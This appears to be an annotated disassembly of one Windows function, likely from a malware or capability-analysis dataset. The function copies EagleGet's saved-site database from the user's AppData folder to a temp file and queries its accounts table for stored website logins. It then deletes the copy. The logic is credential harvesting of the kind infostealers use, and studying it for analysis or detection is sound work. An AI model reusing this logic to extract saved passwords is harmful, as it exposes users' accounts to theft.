Function at 0x419383
Capabilities:
Copy file
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x177c
call fcn.005fec20
mov eax, dword [0x708c34]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
lea eax, [ebp - 0xbb4]
push esi
push edi
push 0x3e0
push 0
push eax
mov dword [ebp - 0xbbc], 0x61746164
mov dword [ebp - 0xbb8], 0x62642e
call fcn.00626f50
push 6
pop ecx
mov esi, str.EagleGetconfigsdata.db
lea edi, [ebp - 0x138c]
rep movsd dword es:[edi], dword [esi]
push 0x3ce
lea eax, [ebp - 0x1372]
movsw word es:[edi], word [esi]
xor esi, esi
push esi
push eax
call fcn.00626f50
push 7
mov dword [ebp - 0x177c], esi
lea edi, [ebp - 0xfa4]
mov dword [ebp - 0x1778], esi
lea eax, [ebp - 0xf87]
pop ecx
mov esi, str.select__from_sites_account_
rep movsd dword es:[edi], dword [esi]
push 0x3cb
movsb byte es:[edi], byte [esi]
xor edi, edi
push edi
push eax
call fcn.00626f50
push str.PerformEagleGetPasswordRecovery
push str._s_entered
call fcn.00449974
push ebx
call fcn.00631510
add esp, 0x30
cmp eax, 1
lea eax, [ebp - 0x3ec]
jbe 0x419450
push ebx
mov esi, 0x3e8
push esi
push eax
call fcn.006311ec
jmp 0x419489
push eax
push edi
push edi
push 0x1a
push edi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
jns 0x419470
push str._n_Failed_to_get_current_users_appdata_folder
call fcn.00449974
pop ecx
jmp 0x4195c9
lea eax, [ebp - 0x138c]
mov esi, 0x3e8
push eax
lea eax, [ebp - 0x3ec]
push esi
push eax
call fcn.00631246
add esp, 0xc
lea eax, [ebp - 0x3ec]
mov ebx, str.PerformEagleGetPasswordRecovery
push eax
push ebx
push str._s_Final_profile_path_is__s
call fcn.00449974
lea eax, [ebp - 0x3ec]
push eax
call fcn.00449791
add esp, 0x10
test eax, eax
jne 0x4194d7
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [ebp - 0x3ec]
push eax
push ebx
push str._s_:_Specified_profile_FILE___s__does_not_exist__Error0x_.8x
call fcn.00449974
add esp, 0x10
jmp 0x4195c9
lea eax, [ebp - 0x7d4]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0xbbc]
push eax
lea eax, [ebp - 0x7d4]
push esi
push eax
call fcn.00631246
add esp, 0xc
lea eax, [ebp - 0x7d4]
push edi
push eax
lea eax, [ebp - 0x3ec]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x419540
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [ebp - 0x7d4]
push eax
lea eax, [ebp - 0x3ec]
push eax
push ebx
push str._s:_Failed_to_copy_file__s__to_tmp_file__s__Error0x_.8x
call fcn.00449974
add esp, 0x14
lea esi, [ebp - 0x3ec]
jmp 0x41955b
lea eax, [ebp - 0x7d4]
push eax
push ebx
push str._s:_Successfully_copied_to_tmp_file__s
call fcn.00449974
add esp, 0xc
lea esi, [ebp - 0x7d4]
push edi
push 1
lea eax, [ebp - 0x177c]
push eax
push esi
call fcn.0045c0d6
add esp, 0x10
test eax, eax
je 0x41957f
push eax
push esi
push ebx
push str._s_:_Failed_to_open_the_database_file__s__Error___d
jmp 0x4194ca
push edi
lea eax, [ebp - 0x1778]
push eax
lea eax, [ebp - 0xfa4]
push eax
call fcn.00631510
pop ecx
push eax
lea eax, [ebp - 0xfa4]
push eax
push dword [ebp - 0x177c]
call fcn.0045c571
add esp, 0x14
test eax, eax
jne 0x4195ba
cmp dword [ebp - 0x1778], edi
jne 0x419653
push eax
push ebx
push str._s_:_Failed_to_query_the_logins_table_for_signon_list__Error___d
call fcn.00449974
add esp, 0xc
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.005fe955
leave
ret
cmp eax, 0x64
jne 0x419668
push edi
push dword [ebp - 0x1778]
call fcn.0045ce99
push eax
lea eax, [ebp - 0x1774]
push 0x400
push eax
call fcn.006311ec
lea eax, [ebp - 0x1774]
push eax
push ebx
push str._s___Found_website___s
call fcn.00449974
push 1
push dword [ebp - 0x1778]
call fcn.0045ce99
push 2
push dword [ebp - 0x1778]
mov esi, eax
call fcn.0045ce99
push 0xffffffffffffffff
lea ecx, [ebp - 0x3ec]
push ecx
push eax
push esi
lea eax, [ebp - 0x1774]
push eax
push 0x66ae5d
push 0x8b
push 5
call fcn.00412c85
add esp, 0x50
push dword [ebp - 0x1778]
call fcn.0045ccca
pop ecx
cmp eax, 0x65
jne 0x4195d8
push dword [ebp - 0x1778]
call fcn.0045cfda
push dword [ebp - 0x177c]
call fcn.0045b0c9
pop ecx
pop ecx
lea eax, [ebp - 0x7d4]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x4195c9